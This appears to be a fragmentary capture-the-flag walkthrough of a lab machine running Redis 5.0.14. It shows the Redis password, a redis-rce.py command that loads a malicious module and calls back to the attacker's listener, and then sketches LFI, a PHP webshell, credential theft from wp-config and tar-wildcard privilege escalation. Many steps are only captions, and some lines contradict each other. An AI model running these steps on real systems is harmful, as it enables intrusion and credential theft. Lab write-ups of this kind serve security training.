6379
redis-cli -h 192.168.159.166Then to authenticate:
AUTH Ready4Redis?
We are in.
Failed
The version is 5.0.14:
Using this: https://github.com/Ridter/redis-rce?source=post_page-----88a3e0e21f62--------------------------------
We can get a shell:
python3 redis-rce.py -r 192.168.159.166 -L 192.168.45.223 -a 'Ready4Redis?' -f exp.so
Then set up a listener:
We get a shell
Now we can look for the wp-config file and get the database password:

Checking netstat:
But could not execute anything so was a waste
Can not proceed as we get a shell as redis user
Success
We can check the service files for redis using the LFI:
Now we can find the writeable directory: 
Then write a shell.php:
Now we have command execution:
We can get a shell now: 
Now we can look for the wp-config file and get the database password:
Port forwarding: Target:
Kali:
But we don't find anything in database after logging in.
We find a cron job after running linpeas: 

Now we have tar with * which we can use to gain sudo access:
Now in payload.sh:
Now we get a shell in the listener:

Last updated
Was this helpful?